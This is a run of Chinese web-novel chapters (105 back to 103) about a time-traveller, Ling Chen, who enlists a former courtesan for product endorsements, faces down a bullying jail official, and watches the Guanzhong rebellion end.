祁梅儿激动的直接站了起来,满眼兴奋的盯着凌晨。一旁的段音也是弱弱的望向凌晨,她倒是清醒,适时的提醒道: “可是……梅儿姐,我们已经没有登台的资格了……” 段音的话犹如一盆冷水浇在了祁梅儿的头顶,她这才回想起来,自己已经被管事驱赶出来了,自然也没有了参与的资格。 不过,她也没有太过沮丧,而是在冷静下来后,转身握住段音的手鼓励她:“不要紧,就算我们无缘花魁,凭凌公子的这几首曲子,也能在京城有一席之地了!” 说罢,她看向凌晨:“凌公子,还请教我们这些曲的调子,若是得了赏银和恩惠,公子说怎么分,我们就怎么分。” 凌晨见她们答应了,长出了一口气,又听到祁梅儿主动谈起收入分配,随即笑道: “我不是为了钱来找二位姑娘的,正如我之前所说,我是跟你们有事相商。现在,让我来为二位姑娘介绍一下,什么叫作引领时尚和产品代言。” 三个人坐在雅间里,大门紧闭,桌上的酒菜分毫未动。全程都是凌晨举着双手描述,在纸上写写画画。祁梅儿和段音全神贯注的认真聆听,只有在听不懂的时候,才会插嘴问上一句。 伟大的公司,通常都是在不起眼的地方诞生的。 “这样一来,我们就能借助你们的影响力,将临颍织作坊的新款服饰卖出去,你们穿用什么,京城女子就会追捧什么。除此之外,我还有香水、雪糕、临颍猪、青柠纺纱机等等等等……” “砰!!” 就在凌晨喋喋不休的跟祁梅儿和段音画大饼的时候,房间的大门被人一脚踢开了。 一名脸色阴沉的男子背着手走了进来,身后跟着刚和凌晨他们分开没多久的陈心画,以及好几个彪型壮汉。 这名男子一进来就看向祁梅儿和段音,上下打量着她们俩,随后冷哼一声。 姿色尚可,身段也还行。但是,惹到我的小心肝,就是你们的不对了。 陈心画伸出双手抱住男子,用胸前的蒲团蹭着男子的胳膊,撒娇道:“官人~就是她们两个,打了奴的姐妹,还咒骂人家~您可要为奴家做主呀~” “好好好~~做主做主~~” 男子伸出手满脸宠溺的拍了拍陈心画的手,双目在她挺翘的领口沟壑里望了一眼,舔了舔嘴唇,已经在幻想今晚用哪种手法把玩了。 凌晨对这群人打扰自己的粗鲁行为很不爽,生气的开口问道:“你们找谁啊?怎么不敲门就进来了?吓我一跳!” 听到他这么问,立刻就有一个壮汉将指头捏的咯咯作响,狞笑着朝他走了过来。 “不知道啊?没事,让爷爷来告诉你~” 潘瑞的目光终于从陈心画的胸前移开,意犹未尽、依依不舍的扭过头,循声望向场中剩下那人。 ? 那壮汉走到凌晨面前,见他还四平八稳的坐在凳子上,当即就怒了,抬手就是一巴掌朝着凌晨扇了过去! 可是,他的手还没落下,腰间就传来了一股大力,下一刻就飞了出去,“砰”的一声被人踢到一旁的木曲架上。 “呃……” 壮汉刚想挣扎着起来看看发生了什么事,上面的青瓷幽兰又因为失去平衡摔了下来,砸到了他的头顶,顿时血流如注! “啊!!” 潘瑞的大脑还在死机,但身体已经作出了最快、最正确的反应,一脚将手下踹了出去。 饶是如此,依旧有一股透心的凉意从后脊梁直冲天灵盖,细密的冷汗迅速从皮肤毛孔渗出,凝结成一颗颗硕大的汗珠。 他的双肩不受控制的颤抖了起来,两条腿软绵绵的,下意识的想跪,但又怕动作太大,一动也不敢动。思想和身体纠结了一会后,还是双漆一弯,抖着手指将额头贴在地上,跪了下来。 “侯……侯爷……” 陈心画瞪大眼睛看向跪在地上、屁股撅的老高的潘瑞,还以为他在耍什么玩弄对方的把戏,立刻弯下腰伸手去扶潘瑞。 “官人~别闹了,您这样玩,传出去有损官威……” 拉了两下,见潘瑞依旧不动弹,陈心画这才反应过来哪里不对。 刚才,官人是说了……“侯爷”这两个字吗?? 凌晨伸出脚,用脚尖抵着潘瑞的肩膀,把他勾了起来。 所有人都呆住了。 凌晨努力回想着问道:“嘶……你不是……哎!你是老侯的手下吧?” 潘瑞脸色惨白的颤声答道:“侯……侯爷好记性,小人正是侯巡院手下的衙牢典狱,有幸在土场侍奉过侯爷几次。” 凌晨恍然大悟,就说怎么这么眼熟呢~ “那你这同伴刚才……是想打我吗?” 潘瑞闻言放声大哭起来,也不顾凌晨的脚还搭在他的肩上,“砰砰砰”的用额头撞地砖,一秒磕三下,竟然把薄石板做的地砖都给磕裂了!! 凌晨见他这个样子,心中的气也消了不少,无奈的笑着弯下身子拉住他的后领,将他提了起来。 额头已经破了皮,血迹渗出,边缘没破的地方也是青黄色的,估计过一会就会肿成紫色。 “你这是做什么?既然是老侯的人,不看僧面看佛面,我还能把你怎么着了不成?” 潘瑞哭着说道:“侯爷,小人真不知道是您在这里啊!要是知道,就是把刀架在小人的脖子上,也不敢来扰您的清净啊!!” 凌晨尴尬不已,悄悄看了一眼目瞪口呆的祁梅儿和段音。妈的!我是什么吃人的妖怪吗?你说的这么玄乎。别再把我的合作伙伴吓跑了,老子刚费了九牛二虎之力才骗到这俩优质牛马。 “哎呀,既然是误会,说开了就没事了。别哭昂~~听话。” 下一刻,仿佛言出法随一般,潘瑞立刻闭上了嘴巴。 凌晨起身看了看一片狼藉的房间,无奈的摇了摇头,对大脑一片空白的祁梅儿和段音说道: “既然二位姑娘答应了,不如就随我走吧,我在长安城里认识几个朋友,托他们给二位寻个住处。时间紧迫,我们早点练习一下调子和乐器的配合吧~” 祁梅儿吞了吞口水,哪里还敢多问,连忙起身拉着同样大脑宕机的段音,小心翼翼的绕过那些站在门口发呆的壮汉,走出了房间。 “哦对了~” 已经走出房门的凌晨扭头对还跪在地上、一动都没动的潘瑞叮嘱道: “饭钱我已经付过了,地砖和其他损失你自己赔给人家。还有,别迁怒这位……心画姑娘是吧?别埋怨她,只是女儿家之间的拌嘴而已。” “是……是!” 第105章 精神小妮 将金丝墨石随意丢在桌子上后,凌晨起身走出雅间,左右环顾两眼,朝着立在走廊边的一个小丫头招了招手。 那婢女低着头、迈着小碎步快速来到凌晨面前,声音脆脆的问道:“客人有何吩咐?” “从汴京来的姑娘都在哪里?我指的是不用登台的那些。” 婢女犹豫了一下,随即答道:“回客人的话,没有登台的姐姐们……大都在旁边的栖彩园安置。” “带我去,我要找一位朋友。” 婢女本想婉拒凌晨,可又见他是从甲字一号房出来的,料想自己惹不起,对方一个不高兴,随时都有可能把她埋了。只好答应下来,恭恭敬敬的在前面带路。 比起前面彩楼里的人声鼎沸,热闹非凡,只有一条街道隔开的栖彩园就显得格外幽静。 小径两旁栽种着团团簇簇的绿竹,园子里有很多参天大树,枝叶繁茂,互相交错遮蔽了天空,形成一条绿荫道。凌晨走在阴凉的小径上,看到一块被伐倒的大树桩基,上面一圈圈年轮蜿蜒整齐,几乎就是天然的木桌。 路上经过几间房舍,一些女子将浣洗好的衣物装在木盆里,拿出来放在地上,一件件的摊开搭在竹架上晾晒。 当她们看到凌晨后,纷纷露出疑惑不解的表情。 婢女领着凌晨从前院来到西院,刚到门口,就听到里面传来争吵的声音。 院子里站着两拨女子,一边有六个人,领头的女子正在双手叉腰骂骂咧咧,指着对面神情激动的辱骂。 另一边只有两个人,一个看起来有些胆小懦弱的女子缩着脖子躲在后面,祁梅儿站在她的身前,柳眉皱起,看起来有些生气。 “竞出名额就那五个,你也不撒泡尿照照自己的模样,凭你也配跟我们心画姐姐争?还有你,姓祁的,你充什么英雄,敢拦着我们姐妹教训这小娼妇?” 祁梅儿梳着同心髻,修长的脖颈洁白如雪,胸口贴着深粉色的绣面,外层披着一件白中透蓝的薄纱衣,腰间用浅黄彩带束身,单手垂立,另一只手背在身后。 那女子一句骂完,她也毫不犹豫的回呛道:“咱们都是卖笑陪唱的主,谁能比谁贵重?登台表现,各凭本事。陈心画,你比不过音儿,就领着这些贱人来吓唬她?不过是陪着大官人睡了一晚,真当自己能攀上高枝,当主家奶奶了?” “什么?!” 那几名女子闻言脸色大变,尤其是被拥簇在中间、姿色颇美的那名女子,更是气的脸色潮红。 “祁梅儿!你竟然敢污蔑潘典狱,我今夜就将这话告诉他,你看他捉不捉你!进了大牢,看你还敢牙尖嘴利吗!” 祁梅儿嘴唇一抿,虽然语气依旧强硬,但明显气势弱了三分:“我又不是凭空捏造的,再说了,就算是官人,也要讲王法吧?” “跟她废什么话!姐妹们,一起上,把段音这小娼妇的骚脸挠了,看她还敢不敢跟心画姐姐争!” 先前带头辱骂的那名女子不分由说就挽起袖子冲了上去,其他女人也是齐齐上前,气势汹汹! 下一刻,祁梅儿一直背在身后的手突然高高举起,凌晨这才看清楚,她手中握着一柄小铜镜。 “啊!!” “嘶……” 祁梅儿用力将手中的铜镜一把砸在最前方那女子的额头上,对方惨叫着跌倒在地上,捂着额头痛苦的哭嚷起来,鲜红色的血迹顺着她的指缝流出! 凌晨顿时就看傻了,这娘们……社会人啊! 不止是他,站在他旁边的领路婢女也懵了。 那群女子被祁梅儿的手段震慑到,都不敢再上前,有一个还蹲下来察看同伴的伤势。主使者陈心画也心生惧怕,转身就往侧门跑出去了。 祁梅儿握着带有血迹的铜镜,十分厌弃的白了一眼倒在地上的女子,没有后悔和害怕,只有解气和活该。 她还是一如既往的辣啊…… 事情发展到这一地步,显然是很难善了了,不一会儿,跑去外面的陈心画就带着栖彩园的管事和一群小厮赶了过来。管事的是个中年胖子,他先是蹲下身子看了一下伤者的伤势,指挥小厮和姑娘们带她去医治,随后皱着眉看向祁梅儿。 “梅儿,你下手也太重了些。” 陈心画立刻在一旁添油加醋的控诉道:“余管事,这蹄子手段如此狠毒,我们不过是与她起了争执,便动手伤人,真不知道她接下来还会干出什么事来!奴是万万不敢再与她同居在一个院里了,望你主持公道,千万要把她赶走!” 余管事听得眉头皱起。 祁梅儿是当年的花魁,多少还是有点名声的。虽然如今已经落寞,在长安也没能引来冤大头为她花银子,但此行已经带她来了,把她赶出去,多少有点不厚道。 传出去,好说不好听啊!风俗产业,也是要讲名声的好不好? 陈心画见余管事一声不吭,当下就急了,连求告带威胁的说道:“若是管事不把她赶出去,这院子我们姐妹是万万不敢再住了,我这就去央求潘典狱,在城里给我们姐妹找间院子自己住!” 余管事听得心头微怒,这贱人,爬上当官的床,都敢来威胁老子了! 于是,他一怒之下,怒了一下。 潘典狱是汴京府衙大牢的头,是京城左巡院侯明的人,而侯巡院又是京兆尹大人的心腹部下,他哪里惹的起? 虽然自己的东家不怕潘典狱,可到底也是麻烦一桩,捅大了只会惹的东家质疑自己的办事能力。 当一碗水端不平的时候,牺牲掉那个弱势的、老实的人就行了。 “梅儿,到底是你动手打的人,闹起来也是你理亏。要不,你就去下厢委屈几天吧,再有八天枫林会就结束了,到时候我们就回汴京。” 下厢,是丫鬟婢女们居住的地方。与姑娘们一人一间房不同,是四个人一间房,还是木制上下梯的那种床铺。 祁梅儿脸色不太好,挑眉的同时微转下巴,非常有个性:“不用了管事,我跟音儿自己有银钱,我们在城里自己寻间客栈住。” 余管事张着口动了动嘴唇,最后还是叹着气说道:“也行……” 听到这话,站在远处大门口的凌晨懵圈了,也行? 这也行?你就不怕俩妹子跑了?再也找不到了? 矛盾解决后,余管事便看着祁梅儿和那名脸上带泪的女孩一起往大门口走去。就在这时,他才发现站在门口的凌晨和负责招待枫林会的婢女。 凌晨他不认识,但那婢女他认识。 怎么到这来了? 见到祁梅儿和段音踩着台阶走到自己身边,凌晨犹豫了一下,伸出手打招呼:“祁姑娘。” 面带怒容的祁梅儿和楚楚可怜的段音都停下脚步,都露出了疑惑的眼神。 很明显,她不认识凌晨是谁。 “我们好像在哪见过,你记得吗?” 祁梅儿拉着段音的手,二人互相对视一眼,都从对方的眼中看到了茫然。 “公子,请恕我们姐妹眼拙,并不认得尊颜。” 凌晨从袖子里掏出一把银豆子,转身塞到那名领路的婢女手里,让她先回去后,这才转身笑着对祁梅儿说道: “当年柳南坊花魁选赛,我曾有幸在台下与姑娘说过几句话,那年姑娘还夺得了魁首,可惜后来我有事在身,没能一睹姑娘夺冠时的风采,每每想起,深以为憾。” 听到凌晨提起自己最风光的那段岁月,祁梅儿也是一阵恍惚,有些微微愣神,没想到还能在这里遇到自己的支持者。 眼前这名男子言语客气,笑容灿烂,刚才更是随手就赏了那婢女一把银豆子,一看就是既有钱还脾气好的贵公子。 祁梅儿心下一软,不忍心把凌晨当寻常凯子钓,道着福说出了实情:“原来是当年的故人,梅儿有礼了~只是,奴早已不是花魁,如今又被人排挤,当不得公子垂青……” 凌晨笑着说道:“姑娘这话不对,巅峰产生虚伪的拥护,黄昏见证真正的信徒。我是真心欣赏姑娘的性子和脾气,与风月无关。况且我不是来和姑娘调笑的,而是有要事相商。” 祁梅儿微微皱眉,这人出口成章,又挑明了不是馋自己的身子,究竟是何用意? “抱歉,梅儿不明白……” 凌晨看着周围说道:“这里不是说话的地方,姑娘如果不嫌弃的话,随我去外面寻间酒楼,坐下来谈。” 说着,他又看向一旁的段音:“这位姑娘也一起赏光吧~” 祁梅儿本想拒绝凌晨,虽然他看着文质彬彬的,但金玉其外败絮其中的男人还少吗?以前同楼的姐妹,就有误信了花言巧语,被骗财骗色,最后始乱终弃,沦为卖肉的工具。 可是…… 她刚把陈心画得罪死,以对方的性子,必然会告诉潘典狱,寻自己的麻烦。而凌晨脚上踩着官靴,或许能护得自己一时周全。 “公子,奴刚惹了开封府衙潘典狱的姘头,怕是马上就要来寻麻烦,你与我们一道,会惹祸上身的。” 凌晨轻轻一笑,一眼就看破了对方的小心思,宽慰道:“姑娘不必忧心其他,只管与我去谈事。” 见凌晨表现的毫不在乎,祁梅儿这才暗暗松了一口气,有些忐忑的拉起段音的手,跟着凌晨往外走去。 某种程度上来说,她没得选。 但愿这位公子的家世,能压的过潘典狱吧…… 第104章 枫林会 关中与中原,成功完成了政治上的统一,但这并不意味着事情已经结束了。 蜀主孟玄撤离了凤翔府的陈仓,这个人很清醒,并没有脑袋一热就继续往前冲,说打就打,说走就走。他跟文若在南阳打过交道,知道双方的差距。 当然,来都来了,不带走点百姓、财宝、女人也说不过去。蜀国军队在撤离的时候,弄的一阵鸡飞狗跳。 孟玄对自己的军队和国力有着清晰的定位,但另一个人就没有这么果断和明智了。 夏国皇帝,李遗景。 作为跟韩珏打了半辈子交道的老对手,他深知韩珏的一双铁拳有多么硬。 韩珏在世的时候,夏国几乎一有机会就南下,妄图学习赫连勃勃、姚苌这样的前辈们,入住关中。 为了完成这个伟大的心愿,李遗景除了吃饭和睡觉之外,每天做得最多的事就是向臣子们询问韩珏最近在干什么。像是一位暗恋女神的羞涩男子,全方位、全天候的打听韩珏的衣食住行。 但韩珏每次都表示:不约。 这让李遗景很伤心,但关中军的战斗力确实很强,他一连霸王硬上弓了好几次,都被劝退了回来。 但现在,韩珏死了。 新主韩登听说是质子归国,他叔韩珑、从弟韩临都对遗产的继承分配有异议,甚至不惜兵戎相见。 这不南下瞅瞅热闹,怎么对的起老冤家的在天之灵? 干了兄弟们! 理想很丰满,现实很骨感。 李遗景带着三万铁骑浩浩荡荡的南下,结果别说长安了,他连黄土高原都没下去,就被卡在渭州寸步难行。 渭州守将李孝通虽然只有五千守军,但他有着丰富的冷兵器交流经验,尤其与夏国对接的领域。这也很好理解,夏国年年南下,久病成良医嘛~ 李孝通先是依托六盘山脉的险峻地形节节阻击,什么疑兵、埋伏、挖坑做陷阱、放火烧山、丢石头,能用的和不能用的都用上了。 等到李遗景带着党项骑兵好不容易从山林中灰头土脸的走出来后,对方又发动百姓协助守城。女人、老人、孩子,甚至连智力不健全的傻子、城中的乞丐、道士、和尚通通都安排上城墙,让他们往下丢石块、泼金汁儿。 李遗景被他弄的心情很糟糕,一笔写不出两个李字,你至于这么抗拒吗? 屋漏偏逢连夜雨,夏皇陛下也没想到关中的内乱竟然在短短两个月之内就被平息,而他到现在还没有啃下渭州城里的本家兄弟,怎么不让人沮丧呢? 当文训的使者来到李遗景的大营后,他亲自接见了这位使者。但由于不清楚文训的性格和脾气,初次见面,他也没好意思多要,只要求报销一下出差费即可。 结果你猜怎么着? 使者不是来跟他媾和的,而是来让他交保护费的。 “夏国赔偿此次南下对渭州百姓和治下县乡造成的财产损失,折合十九万两。” “夏国国主应以臣礼事郑王,并退出陇右府,归还安定郡、静宁州。” 只看了前两条,李遗景就红温了。 我在这里喂了两个月的蚊子,辛辛苦苦为渭州城墙的防御等级评估、周边县乡的旧房改造、百姓秋粮的赶雨收割做出了巨大贡献,人都晒黑了! 你不给工钱就算了,还要让我倒找工钱?! 十九万两!你也真敢要! 安定郡是陇右重镇,是贺兰山脉和六盘山脉交汇处的重要枢纽,谁控制这里,谁就能掌握军事上的战略主动权。静宁州虽然没有那么重要,但其境内有大型养马场,要是把这地方给文训,那不废了吗! 李遗景一把撕碎了国书,叫部下把文训的使者拉出去丢进行军锅里煮了,继续攻打渭州。 消息传回长安,文训勃然大怒! 老文自认为要求很低了,没让李遗景把朔方府也吐出来,已经是他大发慈悲。没想到这个塞上的党项野人,竟敢公然烹杀上国使者,简直是活腻了! 于是,他亲自坐镇长安,发动了对夏战争。定要破军斩将,虎豹平西凉! 文训这么盛气凌人,完全是故意的。 中原最大的威胁,是唐国和草原诸部。眼下草原诸部正在互相攻伐,无力南下,唐国便成了主要对手。 要想荡平江南,就必须全力以赴。像夏国这种天天惦记着关中平原的隔壁老王,必须一次性打废,让他长长记性,才能在以后的关键时刻不从背后捅刀子。 但谁都没想到李遗景这人竟然无礼到这种程度,直接把派过去的使者煮了! 不为使者报仇,那还是人吗? 文若率兵从秦州西进,直逼定西府。韩登率兵从延州北上,目标银、夏二州。贾骐、李卿率八千人支援渭州李孝通。 老文的目的很明确,就是要胸膛抗着揍,伸出两个拳头夹李遗景的脑门,把这个不知天高地厚的家伙捏死在六盘山下! 不过这一切都跟凌晨没关系,此刻他正在长安街头的娱乐会所跟人作对呢~ 不是争风吃醋,而是真的对对子。 汴京那帮老家伙的鼻子是真的灵,一听说关中易帜了,立刻就有无数人涌进长安,商谈生意的、嫁娶儿女的、走亲访友的,络绎不绝。 这其中就包含了很多娱乐圈的朋友们。 汴京曾经的当红头牌、如今的四线清倌祁梅儿,也在经纪…啊不是,东家的安排下,来到长安参加“枫林会”,和长安当地同行姐妹们交流钓翘嘴的技巧心得。 当年邺城大战时期,凌晨在开封城等待鬼方部的骑兵。他自己倒没什么,可是包括青柠在内的几十万百姓都在他的身后,说不紧张那是假的。 于是为了缓解焦虑,他就跑去柳南坊的花魁比赛凑热闹,在机缘巧合下认识了这位脾气有些火辣的清倌人。当时局势紧张,没什么人愿意掏钱给姑娘们,只有凌晨给她打赏了一千两,也算是钻了空子,助她一举夺得了当年的开封花魁。 可惜巅峰留不住,后来中原稳定,开封城升为汴京,无数资本巨鳄带资进组,支持从各自家乡来到汴京追寻梦想的姑娘。凌晨也早把这事忘在脑后了,当时纯粹是为了冲动消费释放一下压力,转移注意力,并没有想太多。 所以祁姑娘不出意外的被挤下了花魁的宝座。 正所谓有缘千里来相会,无缘对头不相识。没想到他和这位祁姑娘竟然在千里之外的长安再次相遇,命运还真是奇妙。 平康坊是长安城中最富盛名的好地方,这里和汴京的柳南坊是同种性质,是各地客商、文人雅士、地主老爷、官员士绅们喝酒把妹的好去处。是随便走在路上,都会有花枝招展的女子朝你勾手,开口说出“小伙子,过来,姨给你说个话”的米奇妙妙屋。 促进东西二京文化交流的枫林会当然要比街巷里的皮肉生意清新高雅,没有那么直白和庸俗。而且她们个个都是东家精心培养出来的摇钱树,不是拿钱就能砸到床上去的。 你得让人家姑娘喜欢,愿意。 自从来到大周以后,凌晨还从来没有用诗文装过逼呢!穿越了不作诗词,那不是白穿越了吗? 如今大势已定,也该醉生梦死了。反正老婆不在这里,韩登出征在外,其他人谁敢大嘴巴?装装逼而已,又不是让她们崇拜自己、自荐枕席,不会有风险的。 而这次枫林会也早已经脱离了低级趣味,不再是用钱来支持心仪的姑娘了,而是要用诗词歌赋。 具体就是,由才子们为支持的姑娘吟诗作赋,婢女会收集起来拿给她们看。她们若是挑到心中满意的,便会自己调试着配上曲音,或者练习符合文章意境的舞姿,依次登台表演给大家。 这样的情况会一直持续十天,每天结束后会让客人对姑娘们当天的表现献墨(字面意思),得到墨石的数量会累积记录。最后一天,墨石数量最多者,就是本年度的魁首。 这玩意对业内人士的吸引力其实挺大的,关中易帜的这一年,在长安城选出来的的花魁,身价自不必说。甚至有那种限定纪念版邮票之类的味道,有了这名头,几乎能吃一辈子。 能与之媲美的,大概只有“西蜀汇流同年花魁”和“江南归一同年花魁”了。 而想要盖过这三个称号,只能是未来天下一统的那年,决出来的花魁。 长安的底蕴确实深厚,平康坊举办枫林会的三层砖木建筑,又宽又大,呈“回”字型结构。每一层都是人来人往,声音嘈杂却井井有条。 一楼大堂摆满了酒桌椅凳,座无虚席,客人素质普遍比较高,因为大多数都是家境不太富裕的书生,或者有钱但胸无点墨的富商地主。有的因为囊中羞涩自卑,有的因为地位不高不敢放肆。 二楼的看官们素质就差的多了,这里的人除了有钱之外,许多还有官府背景。有的放浪形骸、嚣张跋扈;有的虽然没有随地吐痰,但也是鞋子帽子满天飞,没有李白的意,却有李白的形。 三楼则是完全不一样的景象,这里全是雅间,根本看不到客人的面貌。雅间内部陈设奢华,富丽堂皇,面向内部一楼大堂中心舞台的地方设有栏杆处,凭栏望去,整个枫林会的现场一览无余。 而身后的雅间门外,是宽敞的走廊,走廊墙壁上还开有齐腰高的巧画雕窗,打开窗户,可以俯瞰整座平康坊,感受天高海阔。 凌晨坐在位置最好的甲字一号雅间里,握着手中的金丝墨石,皱眉端详。 墨色纯黑,用力捏也不会染黑手指,斜到阳光下面看去,表面乌青,是上等的好墨。而且其中一端嵌进去了金丝花纹,用来装饰,做工细腻,质地上乘。 举办方不是开善堂的,你想进来参加盛会,得先交十两银子。而当你的脚踏进门槛之后,除了呼吸的空气和解手的茅厕之外,都要花钱。 大堂的座位要花钱,美味佳肴和琼浆玉酿要花钱,二楼更是要一百两银子才能上去。如果你想给姑娘们投票,就必须购买至少一块墨石,可这破玩意儿一块就要五十两。 是的,你没有听错:一块,五十两纹银。 姑娘不要你的钱,只要你能够感动她的心,她就会邀请你成为入幕之宾。如果你的异性沟通语言天赋和自身基础硬件设施都过关的话,跟你私奔都是有可能的。 但是很遗憾,感动她的每一个前提,都要钱。 这次的活动是关中世家和汴京权贵联手举办的,其中有几个掌事东家认识凌晨,亲自将他请进甲字一号房,还给他免费送了二十块墨石。可即便如此,他也不开心。 因为他支持的祁梅儿不在上台表演的名单里。 通俗的说就是,其他姑娘的身份背景、背后金主、支持率、话题热度等等等等,全方位无死角的碾压了祁梅儿,要不是她当年曾是汴京花魁,估计连来这里的机会都没有。 这让凌晨很不爽,他来到这里又不是泡妞的,而是来看望故人的,顺便支持一下她的工作。 谁曾想这里的莺莺燕燕实在太多了,竞争压力巨大!每一位姑娘都是千里挑一甚至是万里挑一的美女,长相堪称惊艳!就连婢女都是一等一的水灵丫头。 没有最漂亮,只有更漂亮。 当然,她们的内在美也是各有千秋,有的热情似火,有的温柔似水,有的冷若冰霜,有的活泼灵动。琴棋书画那是入门基础,唱跳…唱调作诗也是手拿把掐,熟读经史子集的女公子也不是没有。 有一位姑娘甚至身着草原女子的装束,张弓搭箭,在众人的惊呼中,将龟公扔向空中的白瓷碗一箭射碎。 刺激、新奇、有趣。 只要你是个男人,在这里,总能找到你喜欢的那款风格。如果没有,那是你的地位还不够。 地位够了,他们能专门按照你的喜好培养出一位绝色美人来。 你喜欢读书,她能陪你从《诗经》聊到《水经注》,和你探讨里面晦涩难懂的文字和意思。 你喜欢下棋,她能陪你从日上三竿战到闲落灯花,你都觉得倦了,她还能意犹未尽。 就算你的爱好小众点,比如喜欢养蜜蜂,她哪怕胳膊上满是鸡皮疙瘩,也照样能捏起一只举到面前对着你笑。 你喜欢虐待别人,以此为乐,她能毫不犹豫的用白绫绞住自己的脖子,把两头递到你的手中,让你用力拉。 天下还没统一呢,已经有人开始准备将来几年甚至几十年后的事了。 一念及此,凌晨脑袋里忽然冒出一个想法来—— 祁梅儿…… 应该不是谁刻意安排来,跟自己偶遇的吧?? 第103章 重归一家 看到凌晨得意的笑容,韩珑惊疑不定的扭头看向身后,只见亲军阵后的巍峨城墙上,浓烟滚滚!吊桥已经升起,长乐门紧紧关闭,隐约还能听见叫喊声! 这跟说好的不一样吧?! 也顾不得眼前的韩登了,韩珑急忙勒转马头,扬起鞭子一抽,拼命向回赶去。韩登见状,也和凌晨、贾骐扭头回到阵中。 下一刻,贾骐的洛阳乡军、柳耒的白水县兵、以及刚刚统御韦籍旧部的李卿等拥王兵将,各自带领着手下兵马冲向了护城河前的韩珑亲军! 韩珑手下的将领们连忙迎上去抵挡,而他本人则是来到吊桥前,望着城头上勃然大怒,高声叫喊道:“衡界?!王昭?!种衡界何在?!速速开城!!” 听到叫喊后,种平从箭垛边露出头来,从部下手中拿过韩珑心腹王昭的人头,抡圆了丢下城墙。 “韩珑!你身为先王胞弟,不思顾命辅佐、拥助新主,反而欺上瞒下,起兵作乱,以至于招来天怒,人神共愤!如今关中王已到城下,还不速速下马受降?!否则刀枪无眼,悔之晚矣!!” 韩珑难以置信的望着城头上变脸如翻书的种平,心中惊怒交加,喉头一甜,瞬间感觉胸闷不已。 “种平!你这奸贼!安敢误我?!” 种平懒得跟他继续废话,直接挥手下令道:“放箭!” 城头上的士兵们立刻张弓搭箭,“嗖嗖嗖”,箭如雨下! 城下几个韩珑的亲军躲闪不及,身体中箭,惨叫着跌落马下。韩珑指着种平破口大骂,却被身旁的将领扯着缰绳、举着箭筒护住,匆忙离开了满地箭矢的吊桥。 可是等他们转头一看,又见到韩登手下成千上万的士兵正卷起滚滚烟尘冲向自己!铁蹄奔腾,旗帜烈烈,弓矢如雨,杀声震天! 韩珑悲愤交加的仰天怒吼道:“啊——!!” 手下几个忠心的将领连忙扯起他的缰绳,匆忙护住他,沿着护城河一路往北逃去,其他人则是拼死阻拦追兵。 但这次出城,为了迷惑韩登、骗他进城,韩珑只带了几百人。原本还想着让韩登兵将分离,好单手拿捏。没想到种平突然叛变,现在是自己联系不上留在城里的大军。 凭手中的这点人,根本就不可能是韩登两万兵马的对手,眼下能做的就是赶快逃命!再寻机会。 至于城中的大军,肯定会被韩登收服的,这下算是完了。 好消息是,韩登急于入城掌控长安局势,并没有率兵来追。 坏消息是,李卿来追了。 作为先前追随韦籍的叛将,李卿比任何人都渴望用一场功劳来向关中王表明忠心,证明自己的价值。而惶惶如丧家之犬、身边只有几十人个的韩珑,就是最好的军功! 因此,李卿比任何人都疯狂!贾骐、柳耒等人都被他远远的甩在了身后,他亲率本部人马,死死咬在韩珑身后!好几次差点追上,双方距离不到二十米! 得亏韩珑身边的亲军箭术不赖,匆忙奔逃之际还能抽空回头射箭,射死了许多追兵,甚至还射中了李卿坐下的战马,逼的他不得不停下来换马,这才堪堪化险为夷。 但没一会,重新换上战马的李卿又追了上来。 而且,又不光是韩珑的将领会在马上射箭,李卿也会!而且他手下的弓骑更多! 如果精度不够,那就用数量来凑。 互相追逐之下,韩珑身边的将士越来越少。他一刻也不敢停歇,拼命向北逃窜,根本没有机会从其他城门回到长安,指挥兵马与韩登尝试巷战。 直到天色渐渐昏暗,韩珑的身边只剩下不到十个人,身后的李卿还在追。 韩珑就纳了闷了,这员将领是有什么毛病吗?这都追出长安十多里地了! 就在这时,他坐下的战马嘶鸣一声,前蹄一软,“砰”的一声摔倒在了地上,连马背上的他也重重的甩了出去,滚落进草丛中。 “哎呦……” 韩珑只觉得肩膀、胳膊还有胯骨传来一阵火辣辣的疼痛,右脚还被马鞍重重压了一下,疼的他直冒冷汗! 下一刻,四周火光亮起,马蹄声杂乱,将地面的尘土踩的漫天飞扬,空气中一股土味,远处还有更多步卒手持着火把和刀枪赶来。 李卿手持长枪立在马上,脸上还有些擦伤,但在看到被七个亲军背靠背护在中心的蓝田侯时,满身的疲惫和疼痛,都在这一刻烟消云散了。 生擒了叛臣韩珑,重新夺回长安后,韩登传檄关中各府州县及驻守军将,向他们宣布内乱已经平定,命令他们各司其职,打击匪贼盗寇,护境安民。 这场因关中王韩珏逝世而引发的内乱,在历时六十七天后,终于被平定。 八月十五,元宵佳节,等待已久的镇西将军文若受关中王韩登邀请,率领五万大军西出潼关,进驻到长安西南的鄠县。 在关中贵族的支持下,韩登宣布改旗易帜,关中府、凤翔府、兴德府、冯翎府、以及先前被关中军占领的河内府,全体拥护郑王文训的领导,接受来自汴京的调遣和命令。 消息一出,天下震动! 蜀主孟玄立刻派使者前往长安恭贺,说自己原本还想着帮关中王平定叛乱呢,没想到关中王竟然如此英明神武,这么快就解决了麻烦,真是可喜可贺。 那我们就放心了,先回东川了啊,不用送了。 八月二十,洛阳府尹贾建宣布归顺文训,文训仍令贾建为洛阳府尹,加新安郡伯,其子贾骐加巩义县男,一门双爵。 九月初,郑王文训命次子、沧州留后文初守备汴京,令吏部尚书杜宣、京兆尹冯延、左武卫马军都部署薛定协理政事。而他自己则是带着世子妃韩意,在御林军的护送下,西巡关中。 至此,除了孙芝所在的晋阳府,以及申屠明光手中的云中府、九原府和漠南六镇之外,其他所有原属于大周的领土,已经全部被文训兼并征服,牢牢掌握。 九月十五,渭城,韩家族墓。 高坡旷野上,平整的石板砖铺就出宽阔的广场,气势恢宏的建筑群落修筑在黄土陇头,这里地势很高,山顶平坦,正是韩家墓园所在。 檐下、院角、道边、山坡,到处都是威武雄壮的御林军在警戒站哨。前关中王韩珏的巨大陵寝前,数百人整齐的站立在广场上,他们是来自关中各地的豪门贵族、官员士绅、饱学鸿儒、名望乡老。 陵墓四周插着各色旗帜,中央铜鼎里香火袅袅。肃穆庄严的正殿主堂内,宽大的黑木案台上摆放着韩家历代先祖的灵位,金色烛台被上面的蜡烛融化后流下来的蜡水包裹,各种祭品摆满了贡桌,从东到西足足有几十米长。 韩意已经褪去了华丽庄重的世子妃服饰,换上了一袭白衣孝服,与世子文若、关中王韩登、王妃申屠忘忧一起跪在韩珏墓碑前的黄色蒲团上。先王后韩高氏及各位侧夫人都跪在另一旁的烧纸铜盆前。 